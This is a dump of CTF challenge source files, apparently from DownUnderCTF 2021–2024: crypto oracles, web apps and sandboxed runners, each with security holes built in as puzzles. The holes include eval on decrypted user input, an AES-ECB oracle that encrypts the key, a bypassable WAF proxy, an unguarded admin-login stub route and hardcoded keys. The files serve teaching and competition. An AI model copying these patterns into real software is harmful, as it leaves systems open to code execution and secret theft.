sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2021/crypto/Break_Me/aes-ecb.py | ctfs/DownUnderCTF/2021/crypto/Break_Me/aes-ecb.py | #!/usr/bin/python3
import sys
import os
from Crypto.Cipher import AES
from base64 import b64encode
bs = 16 # blocksize
flag = open('flag.txt', 'rb').read().strip()
key = open('key.txt', 'r').read().strip().encode() # my usual password
def enc(pt):
cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt+key))
res = b64encode(ct).decode('utf-8')
return res
def pad(pt):
while len(pt) % bs:
pt += b'0'
return (pt)
def main():
print('AES-128')
while(1):
msg = input('Enter plaintext:\n').strip()
pt = flag + str.encode(msg)
ct = enc(pt)
print(ct)
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2021/web/Notepad/app.py | ctfs/DownUnderCTF/2021/web/Notepad/app.py | import datetime as dt
import hashlib
import os
import random
import secrets
import aioredis
import quart
import quart_rate_limiter
from quart_rate_limiter.redis_store import RedisStore
import requests
SECRET_KEY = os.environ['SECRET_KEY']
REDIS_HOST = os.environ['REDIS_HOST']
redis = aioredis.from_url(f"redis://{REDIS_HOST}")
app = quart.Quart(__name__)
redis_store = RedisStore(f"redis://{REDIS_HOST}")
limiter = quart_rate_limiter.RateLimiter(app, store=redis_store)
app.config['SECRET_KEY'] = SECRET_KEY
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
def password_hash(password: str, *, salt: bytes=None) -> str:
salt = salt or random.randbytes(16)
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
return f"{salt.hex()}:{hashed.hex()}"
def password_verify(password: str, hashed: str) -> bool:
try:
salt, hash_ = map(bytes.fromhex, hashed.split(':'))
except ValueError:
return False
return hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000) == hash_
async def login(username: str, password: str) -> bool:
password_hash = await redis.get(f'user:{username}')
if password_hash is None:
return False
return password_verify(password, password_hash.decode())
async def register(username: str, password: str) -> bool:
# race condition but :shrug:
if await redis.get(f'user:{username}'):
return False
await redis.set(f'user:{username}', password_hash(password))
return True
async def get_user_note(username: str) -> str:
note = await redis.get(f'note:{username}')
return '' if note is None else note.decode()
async def set_user_note(username: str, note: str):
await redis.set(f'note:{username}', note)
@app.before_serving
async def startup():
print('Notepad starting...')
# We don't care if this fails, we just want to reserve the admin username so no one gets confused
await register('admin', secrets.token_hex(24))
@app.after_request
async def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
resp.headers['X-Frame-Options'] = 'none'
return resp
@app.errorhandler(404)
async def not_found(e):
return "404 Not Found", 404
@app.route('/')
async def index():
return await quart.render_template('index.html')
@app.route('/robots.txt')
async def robots():
return "Disallow:\n/admin\n/me", 200, {'Content-Type': 'text/plain'}
@app.route('/login', methods=['GET', 'POST'])
async def login_():
err = ''
if quart.request.method == "POST":
form = await quart.request.form
username, password = map(form.get, ['username', 'password'])
if username is None or password is None:
err = "Username and password must be specified"
elif not await login(username, password):
err = "Invalid username or password"
else:
quart.session['user'] = username
return quart.redirect(quart.url_for('me'))
return await quart.render_template('login.html', err=err)
@app.route('/register', methods=['GET', 'POST'])
async def register_():
err = ''
if quart.request.method == "POST":
form = await quart.request.form
username, password = map(form.get, ['username', 'password'])
if username is None or password is None:
err = "Username and password must be specified"
elif not await register(username, password):
err = "Username already in-use"
else:
return quart.redirect(quart.url_for('login_'))
return await quart.render_template('register.html', err=err)
@app.route('/logout')
async def logout_():
quart.session.clear()
return quart.redirect(quart.url_for('index'))
@app.route('/me', methods=['GET', 'POST'])
async def me():
user = quart.session.get('user')
if not user:
return quart.redirect(quart.url_for('index'))
err = ''
if quart.request.method == 'POST':
form = await quart.request.json
note = form.get('note', '')
await set_user_note(user, note)
else:
note = await get_user_note(user)
return await quart.render_template('me.html', note=note, username=user)
@app.route('/admin')
async def admin():
if quart.session.get('admin') != 1:
return "", 403
return open('flag.txt').read()
@app.route('/report', methods=["GET", "POST"])
@quart_rate_limiter.rate_limit(5, dt.timedelta(seconds=10))
async def report():
user = quart.session.get('user')
if not user:
return quart.redirect(quart.url_for('index'))
if quart.session.get('admin') == 1:
# Just in case anyone tries it
return "You're the admin... Go fix it yourself", 418
if quart.request.method == 'POST':
form = await quart.request.form
url = form.get('url')
if url:
__stub_get_url(url)
return quart.redirect(quart.url_for('me'))
return await quart.render_template('report.html')
@app.route('/__stub/admin/login')
async def __stub_admin_login():
quart.session['admin'] = 1
return "Ok"
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2021/web/Jasons_Proxy/proxy.py | ctfs/DownUnderCTF/2021/web/Jasons_Proxy/proxy.py | #!/usr/bin/python3
import os
import socketserver
import urllib.request
from os.path import abspath
from http.server import SimpleHTTPRequestHandler
from urllib.parse import unquote, urlparse, urljoin
PORT = 9097
whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"]
blacklist = ["admin","flag"]
remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"]
def waf(url):
resp = unquote(url)
whitelist_check = False
for uri in whitelist:
if resp.lower().startswith(uri):
whitelist_check = uri
break
if whitelist_check == False:
return None
for forbidden in blacklist:
if forbidden in resp.lower():
return None
for badstr in remove_list:
resp = resp.replace(badstr,"BLOCKEDBY1337WAF")
resp = urlparse(resp)
resp = unquote(abspath(resp.path))
return urljoin(whitelist_check,resp)
class CDNProxy(SimpleHTTPRequestHandler):
def do_GET(self):
url = self.path[1:]
print(self.headers)
self.send_response(200)
self.send_header("X-CDN","CDN-1337")
self.end_headers()
waf_result = waf(url)
if waf_result:
self.copyfile(urllib.request.urlopen(waf_result), self.wfile)
else:
self.wfile.write(bytes("1337 WAF blocked your request","utf-8"))
httpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy)
print("Now serving at " + str(PORT))
httpd.serve_forever() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2021/web/Jasons_Proxy/app.py | ctfs/DownUnderCTF/2021/web/Jasons_Proxy/app.py | #!/usr/bin/python3
import os
from requests import get
from base64 import b64encode, b64decode
from flask import Flask, request, render_template
app = Flask(__name__)
class JSON(object):
def __init__(self):
self.forbidden = ["'","\"","{","}","[","]",",","(",")","\\",";","%"]
self.checked = []
def _forbidden_chk(self, key, value):
chk = False
for bad in self.forbidden:
if bad in key:
chk = True
break
if bad in value:
chk = True
break
return chk
def _checked(self, key):
chk = True
if key in self.checked:
chk = False
return chk
def _security(self, key, value):
chk = False
if not self._checked(key):
return chk
if self._forbidden_chk(key, value):
chk = True
if key == "img":
value = b64decode(bytes(value,'utf-8')).decode()
if self._forbidden_chk(key, value):
chk = True
if chk == False:
self.checked.append(key)
return chk
def parse(self, data):
parsed_data = [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')]
built_data = {}
for obj in parsed_data:
if self._security(obj[0], obj[1]):
return "Jasons Secure JSON Parsing Blocked Your Request"
if obj[0] == "img":
obj[1] = b64decode(bytes(obj[1],'utf-8')).decode()
built_data[obj[0]] = obj[1]
return built_data
def get_as_b64(img):
try:
if img.startswith('http://127.0.0.1/static/images/'):
return b64encode(get("http://127.0.0.1:9097/"+img).content).decode()
return None
except Exception as e:
return None
@app.route('/')
def _index():
return render_template('index.html')
@app.route('/jason_loader', methods=['POST'])
def _app_jason_loader():
if request.headers.get('Content-Type') != 'application/json':
return '{"error": "invalid content type"}', 400
json = JSON()
pdata = json.parse(request.data)
if type(pdata) == str:
return "{\"error\": \""+pdata+"\"}"
img = pdata.get('img')
if not img:
return "{\"error\": \"Jasons JSON Security Module Triggered\"}"
imgdata = '{"imagedata": "' + get_as_b64(img) + '"}'
return imgdata, 200
@app.route('/admin/flag')
def _flag():
if request.remote_addr != "127.0.0.1":
return "Unauthorized.", 401
return str(os.environ.get('FLAG')), 200
if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=False)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/three_line/encrypt.py | ctfs/DownUnderCTF/2024/crypto/three_line/encrypt.py | import os, sys
q, y = os.urandom(16), 0
for x in sys.stdin.buffer.read(): sys.stdout.buffer.write(bytes([q[y % 16] ^ x])); y = x | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/shufflebox/shufflebox.py | ctfs/DownUnderCTF/2024/crypto/shufflebox/shufflebox.py | import random
PERM = list(range(16))
random.shuffle(PERM)
def apply_perm(s):
assert len(s) == 16
return ''.join(s[PERM[p]] for p in range(16))
for line in open(0):
line = line.strip()
print(line, '->', apply_perm(line))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/super_party_computation/server.py | ctfs/DownUnderCTF/2024/crypto/super_party_computation/server.py | #!/usr/bin/env python3
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Math.Numbers import Integer
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime, inverse, GCD
import json
import secrets
import os
FLAG = os.getenv("FLAG", "DUCTF{testflag}")
CURVE = "p256"
###
### Helpers
###
# ECDH helpers, from pycryptodome/Crypto/Protocol/DH.py
def _compute_ecdh(key_priv, key_pub):
# See Section 5.7.1.2 in NIST SP 800-56Ar3
pointP = key_pub.pointQ * key_priv.d
if pointP.is_point_at_infinity():
raise ValueError("Invalid ECDH point")
return pointP.xy
def key_agreement(**kwargs):
static_priv = kwargs.get("static_priv", None)
static_pub = kwargs.get("static_pub", None)
count_priv = 0
count_pub = 0
curve = None
def check_curve(curve, key, name, private):
if not isinstance(key, ECC.EccKey):
raise TypeError("'%s' must be an ECC key" % name)
if private and not key.has_private():
raise TypeError("'%s' must be a private ECC key" % name)
if curve is None:
curve = key.curve
elif curve != key.curve:
raise TypeError("'%s' is defined on an incompatible curve" % name)
return curve
if static_priv is not None:
curve = check_curve(curve, static_priv, "static_priv", True)
count_priv += 1
if static_pub is not None:
curve = check_curve(curve, static_pub, "static_pub", False)
count_pub += 1
if (count_priv + count_pub) < 2 or count_priv == 0 or count_pub == 0:
raise ValueError("Too few keys for the ECDH key agreement")
return _compute_ecdh(static_priv, static_pub)
# Paillier encryption, from https://github.com/mikeivanov/paillier/
class Paillier_PublicKey:
def __init__(self, n):
self.n = n
self.n_sq = n * n
self.g = n + 1
def encrypt(self, pt):
while True:
r = secrets.randbelow(self.n)
if r > 0 and GCD(r, self.n) == 1:
break
x = pow(r, self.n, self.n_sq)
ct = (pow(self.g, pt, self.n_sq) * x) % self.n_sq
return ct
class Paillier_PrivateKey:
def __init__(self, p, q, n):
assert p * q == n
self.l = (p - 1) * (q - 1)
self.m = inverse(self.l, n)
def decrypt(self, pub, ct):
x = pow(ct, self.l, pub.n_sq) - 1
pt = ((x // pub.n) * self.m) % pub.n
return pt
def e_add(pub, a, b):
"""Add one encrypted integer to another"""
return a * b % pub.n_sq
def e_add_const(pub, a, n):
"""Add constant n to an encrypted integer"""
return a * pow(pub.g, n, pub.n_sq) % pub.n_sq
def e_mul_const(pub, a, n):
"""Multiplies an ancrypted integer by a constant"""
return pow(a, n, pub.n_sq)
def generate_paillier_keypair(n_length):
p = getPrime(n_length // 2)
q = getPrime(n_length // 2)
n = p * q
return Paillier_PublicKey(n), Paillier_PrivateKey(p, q, n)
###
### Challenge
###
# Yehuda Lindell (2017). “Fast Secure Two-Party ECDSA Signing”
class Lindel17_Bob:
def __init__(self):
self.state = "gen_keys"
self.exit = False
def gen_keys(self, alice_ecdsa_pub):
self.bob_ecdsa_priv = ECC.generate(curve=CURVE)
# Calculate shared ecdsa public key
shared_ecdsa_pub_x, shared_ecdsa_pub_y = key_agreement(static_pub=alice_ecdsa_pub, static_priv=self.bob_ecdsa_priv)
self.shared_ecdsa_pub = ECC.construct(curve=CURVE, point_x=shared_ecdsa_pub_x, point_y=shared_ecdsa_pub_y)
self.sig_scheme = DSS.new(self.shared_ecdsa_pub, "fips-186-3")
# Bob encrypts his signing key and sends to Alice.
self.paillier_pub, self.bob_paillier_priv = generate_paillier_keypair(n_length=2048)
bob_ecdsa_priv_enc = self.paillier_pub.encrypt(int(self.bob_ecdsa_priv.d))
return {
"bob_ecdsa_pub": tuple(map(int, self.bob_ecdsa_priv.public_key().pointQ.xy)),
"paillier_pub": {
"g": self.paillier_pub.g,
"n": self.paillier_pub.n,
},
"bob_ecdsa_priv_enc": bob_ecdsa_priv_enc,
}
def mul_share(self, alice_nonce_pub):
self.bob_nonce_priv = ECC.generate(curve=CURVE)
self.r, _ = key_agreement(static_pub=alice_nonce_pub, static_priv=self.bob_nonce_priv)
return {"bob_nonce_pub": tuple(map(int, self.bob_nonce_priv.public_key().pointQ.xy))}
def sign_and_validate(self, alice_partial_sig, message):
alice_partial_sig = self.bob_paillier_priv.decrypt(self.paillier_pub, Integer(alice_partial_sig))
k_b = self.bob_nonce_priv.d
q = self.bob_nonce_priv._curve.order
s = (k_b.inverse(q) * alice_partial_sig) % q
signature = b"".join(long_to_bytes(x, self.sig_scheme._order_bytes) for x in (self.r, s))
return signature, self.validate(message, signature)
def validate(self, message, signature):
try:
self.sig_scheme.verify(SHA256.new(message), signature)
except ValueError:
return False
return True
def dispatch(self, request):
if "action" not in request:
return {"error": "please supply an action"}
elif request["action"] == self.state == "gen_keys":
self.state = "mul_share"
x, y = request["x"], request["y"]
alice_ecdsa_pub = ECC.construct(curve=CURVE, point_x=x, point_y=y)
return self.gen_keys(alice_ecdsa_pub)
elif request["action"] == self.state == "mul_share":
self.state = "sign_and_validate"
x, y = request["x"], request["y"]
alice_nonce_pub = ECC.construct(curve=CURVE, point_x=x, point_y=y)
return self.mul_share(alice_nonce_pub)
elif request["action"] == self.state == "sign_and_validate":
self.state = "mul_share"
alice_partial_sig = request["partial_sig_ciphertext"]
message = bytes.fromhex(request["message"])
if message == b"We, Alice and Bob, jointly agree to declare war on the emus":
return {"error": "What, no! I love emus??"}
signature, is_valid = self.sign_and_validate(alice_partial_sig, message)
if is_valid:
return {"signature": signature.hex()}
else:
return {"error": "invalid signature parameters"}
elif request["action"] == "get_flag":
message = bytes.fromhex(request["message"])
if message == b"We, Alice and Bob, jointly agree to declare war on the emus":
signature = bytes.fromhex(request["signature"])
if self.validate(message, signature):
return {"flag": FLAG}
self.exit = True
return {"error": "bad luck!"}
else:
return {"error": "unknown action"}
if __name__ == "__main__":
print("Hi Alice, it's Bob! How're ya enjoying the party so far?")
bob = Lindel17_Bob()
for _ in range(1024):
request = json.loads(input())
response = bob.dispatch(request)
print(json.dumps(response))
if bob.exit:
exit(0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/kyber_decryption_oracle/kyber-decryption-oracle.py | ctfs/DownUnderCTF/2024/crypto/kyber_decryption_oracle/kyber-decryption-oracle.py | #!/usr/bin/env python3
import ctypes, os, signal
import hashlib
MAX_QUERIES = 56
FLAG = os.getenv('FLAG', 'DUCTF{testflag}').encode()
kyber_lib = ctypes.CDLL('./libpqcrystals_kyber512_ref.so')
class Kyber:
def __init__(self):
self.pk_buf = ctypes.c_buffer(800)
self.sk_buf = ctypes.c_buffer(768)
kyber_lib.pqcrystals_kyber512_ref_indcpa_keypair(self.pk_buf, self.sk_buf)
def encrypt(self, m):
assert len(m) == 32
ct_buf = ctypes.c_buffer(768)
m_buf = ctypes.c_buffer(m)
r = ctypes.c_buffer(os.urandom(32))
kyber_lib.pqcrystals_kyber512_ref_indcpa_enc(ct_buf, m_buf, self.pk_buf, r)
return bytes(ct_buf)
def decrypt(self, c):
assert len(c) == 768
ct_buf = ctypes.c_buffer(c)
m_buf = ctypes.c_buffer(32)
kyber_lib.pqcrystals_kyber512_ref_indcpa_dec(m_buf, ct_buf, self.sk_buf)
return bytes(m_buf)
def main():
kyber = Kyber()
print('pk:', bytes(kyber.pk_buf).hex())
assert kyber.decrypt(kyber.encrypt(b'x'*32)) == b'x'*32
for _ in range(MAX_QUERIES):
try:
inp = input('> ')
c = bytes.fromhex(inp)
m = kyber.decrypt(c)
print(hashlib.sha256(m).hexdigest())
except:
print('>:(')
exit(1)
k = hashlib.sha512(bytes(kyber.sk_buf)).digest()
enc = bytes([a ^ b for a, b in zip(FLAG, k)])
print('flag_enc:', enc.hex())
if __name__ == '__main__':
signal.alarm(100)
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/decrypt_then_eval/decrypt-then-eval.py | ctfs/DownUnderCTF/2024/crypto/decrypt_then_eval/decrypt-then-eval.py | #!/usr/bin/env python3
from Crypto.Cipher import AES
import os
KEY = os.urandom(16)
IV = os.urandom(16)
FLAG = os.getenv('FLAG', 'DUCTF{testflag}')
def main():
while True:
ct = bytes.fromhex(input('ct: '))
aes = AES.new(KEY, AES.MODE_CFB, IV, segment_size=128)
try:
print(eval(aes.decrypt(ct)))
except Exception:
print('invalid ct!')
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/my_array_generator/challenge.py | ctfs/DownUnderCTF/2024/crypto/my_array_generator/challenge.py | #!/usr/bin/env python3
import random
import os
KEY = b"DUCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}"
KEY_SIZE = 32
F = 2**14
class MyArrayGenerator:
def __init__(self, key: bytes, n_registers: int = 128):
self.key = key
self.n_registers = n_registers
def prepare(self):
self.registers = [0 for _ in range(self.n_registers)]
self.key_extension(self.key)
self.carry = self.registers.pop()
self.key_initialisation(F)
def key_extension(self, key: bytes):
if len(key) != KEY_SIZE:
raise ValueError(f"Key length should be {KEY_SIZE} bytes.")
for i in range(len(self.registers)):
j = (4 * i) % KEY_SIZE
subkey = key[j : j + 4]
self.registers[i] = int.from_bytes(subkey)
def key_initialisation(self, F: int):
for _ in range(F):
self.update()
def shift(self):
self.registers = self.registers[1:]
def update(self):
r0, r1, r2, r3 = self.registers[:4]
self.carry ^= r1 if r2 > r3 else (r1 ^ 0xFFFFFFFF)
self.shift()
self.registers.append(self.registers[-1] ^ self.carry)
def get_keystream(self) -> int:
byte_index = random.randint(0, 3)
byte_mask = 0xFF << (8 * byte_index)
return (self.registers[-1] & byte_mask) >> (8 * byte_index)
def encrypt(self, plaintext: bytes) -> bytes:
self.prepare()
ct = b""
for b in plaintext:
self.update()
ct += int.to_bytes(self.get_keystream() ^ b)
return ct
def decrypt(self, ciphertext: bytes) -> bytes:
return self.encrypt(ciphertext)
if __name__ == "__main__":
random.seed(1234)
cipher = MyArrayGenerator(KEY)
plaintext = os.urandom(1280)
print(f'plaintext = "{plaintext.hex()}"')
ciphertext = cipher.encrypt(plaintext)
print(f'ciphertext = "{ciphertext.hex()}"')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2024/crypto/V_for_Vieta/server.py | ctfs/DownUnderCTF/2024/crypto/V_for_Vieta/server.py | #!/usr/bin/env python3
import os
import random
import json
from enum import Enum
FLAG = os.getenv("FLAG", "DUCTF{dummy_flag}")
class State(Enum):
INITIAL = 1
TEST = 2
QUIT = 3
class Server:
def __init__(self):
self.level = 2048
self.target = 2048
self.finish = 8
self.state = State.INITIAL
def win(self):
return {
"flag": FLAG,
}
def generate_k(self):
self.k = random.getrandbits(self.level) ** 2
self.state = State.TEST
return {
"k": self.k,
"level": self.level,
}
def test(self, challenge):
a, b = challenge["a"], challenge["b"]
if a <= 0 or b <= 0:
self.state = State.QUIT
return {"error": "Your answer must be positive!"}
if a.bit_length() <= self.target or b.bit_length() <= self.target:
self.state = State.QUIT
return {"error": "Your answer is too small!"}
num = a**2 + a * b + b**2
denom = 2 * a * b + 1
if num % denom != 0 or num // denom != self.k:
self.state = State.QUIT
return {"error": "Your answer wasn't a solution!"}
self.level -= self.level // 5
if self.level <= self.finish:
self.state = State.QUIT
return self.win()
else:
return self.generate_k()
def main():
server = Server()
print("V equals negative V plus or minus the squareroot of V squared minus 4 V V all divided by 2 V!")
while True:
if server.state == State.INITIAL:
print(json.dumps(server.generate_k()))
elif server.state == State.TEST:
challenge = json.loads(input())
print(json.dumps(server.test(challenge)))
elif server.state == State.QUIT:
exit(0)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/mini_dns_server/mini_dns_server.py | ctfs/DownUnderCTF/2023/misc/mini_dns_server/mini_dns_server.py | import time
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, TXT, QTYPE, RCODE
class Resolver(BaseResolver):
def resolve(self, request, handler):
reply = request.reply()
reply.header.rcode = RCODE.reverse['REFUSED']
if len(handler.request[0]) > 72:
return reply
if request.get_q().qtype != QTYPE.TXT:
return reply
qname = request.get_q().get_qname()
if qname == 'free.flag.for.flag.loving.flag.capturers.downunderctf.com':
FLAG = open('flag.txt', 'r').read().strip()
txt_resp = FLAG
else:
txt_resp = 'NOPE'
reply.header.rcode = RCODE.reverse['NOERROR']
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(txt_resp)))
return reply
server = DNSServer(Resolver(), port=8053)
server.start_thread()
while server.isAlive():
time.sleep(1)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/daas/daas.py | ctfs/DownUnderCTF/2023/misc/daas/daas.py | #!/usr/local/bin/python3.8
import subprocess
import sys
import tempfile
import base64
print("Welcome to my .pyc decompiler as a service!")
try:
pyc = base64.b64decode(input('Enter your pyc (base64):\n'))
except:
print('There was an error with your base64 :(')
exit(1)
with tempfile.NamedTemporaryFile(suffix='.pyc') as sandbox:
sandbox.write(pyc)
sandbox.flush()
pipes = subprocess.Popen(["/usr/local/bin/decompyle3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = pipes.communicate()
if pipes.returncode == 0 and len(stderr) == 0:
print(stdout.decode())
else:
print(stderr.decode())
print("There was an error in decompilation :(")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/impossible/app/main.py | ctfs/DownUnderCTF/2023/misc/impossible/app/main.py | from flask import Flask, request, render_template
from utils import decrypt
app = Flask(
__name__,
static_url_path='/',
static_folder='static/'
)
@app.route('/', methods=['GET'])
def index():
if not "key" in request.args:
return render_template('index.html')
key_hex = request.args.get('key', None)
if key_hex is None:
return render_template('index.html')
try:
msg = decrypt(key_hex)
except:
msg = 'Something goofed up'
return render_template('index.html', msg=msg)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=3000) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/impossible/app/__init__.py | ctfs/DownUnderCTF/2023/misc/impossible/app/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/impossible/app/utils/crypto.py | ctfs/DownUnderCTF/2023/misc/impossible/app/utils/crypto.py | from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA512
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii
# lol u thought it would be easy that i gave you these values in the sauce code
# i have changed them all on the challenge instance just to make sure it is impossible to solve
FLAG_ENC='5700668797b137bb540ff5c7febf0f48687911940afae0d5e98ca7c80c25ab475ccdc7f4cd4c04b2890d38f0048abd88bf9d10339b7d37962b1cc0668f9d945e192286d517add90fdd39c923424e282b5f34c1067f467bcfdca1f2e819e3aa667e4452c7da74880cba6d31f10b88eb72c7e6215eb445cc9c9e9d435bf2eae1e5b1d6593f43a26193d5cb8e8745e5a8d81f26efd4aa9f47e364f529d0a334613a'
KEY='8deee6793066fa6529a9af2ef31723ca6d78da5c175d78412294604a2a62af82'
IV='104e20c2abf12b342fe27064cead0c4f'
def gen_key(passphrase: str) -> bytes:
salt = get_random_bytes(16)
return PBKDF2(passphrase, salt, 32, count=1000000, hmac_hash_module=SHA512)
def encrypt_print(flag: str, key: bytes):
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(flag.encode(), 32))
print(f"FLAG_ENC='{ct.hex()}'")
print(f"KEY='{key.hex()}'")
print(f"IV='{iv.hex()}'")
def decrypt(key_hex: str) -> str:
if key_hex != KEY:
return "Lol we told you this is impossible to solve!"
key = binascii.unhexlify(key_hex)
flag_enc = binascii.unhexlify(FLAG_ENC)
iv = binascii.unhexlify(IV)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(flag_enc), 32)
try:
return pt.decode()
except:
return "Cannot decode plaintext!"
if __name__ == "__main__":
flag = input("flag: ")
passphrase = input("passphrase: ")
key = gen_key(passphrase)
encrypt_print(flag, key) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/misc/impossible/app/utils/__init__.py | ctfs/DownUnderCTF/2023/misc/impossible/app/utils/__init__.py | from utils.crypto import decrypt | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/pwn/vroom_vroom/run.py | ctfs/DownUnderCTF/2023/pwn/vroom_vroom/run.py | #!/usr/bin/env python3
import sys
import tempfile
import os
def main():
print('V8 version 11.6.205')
print('> ', end='')
sys.stdout.flush()
data = sys.stdin.readline().encode()
with tempfile.NamedTemporaryFile() as f:
f.write(data)
f.flush()
os.system(f'./d8 {f.name}')
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/rev/pyny/pyny.py | ctfs/DownUnderCTF/2023/rev/pyny/pyny.py | #coding: punycode
def _(): pass
('Correct!' if ('Enter the flag: ') == 'DUCTF{%s}' % _.____ else 'Wrong!')-gdd7dd23l3by980a4baunja1d4ukc3a3e39172b4sagce87ciajq2bi5atq4b9b3a3cy0gqa9019gtar0ck | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/crypto/lcg_card_gimmicks/lcg-card-gimmicks.py | ctfs/DownUnderCTF/2023/crypto/lcg_card_gimmicks/lcg-card-gimmicks.py | #!/usr/bin/env python3
from secrets import randbelow
import signal
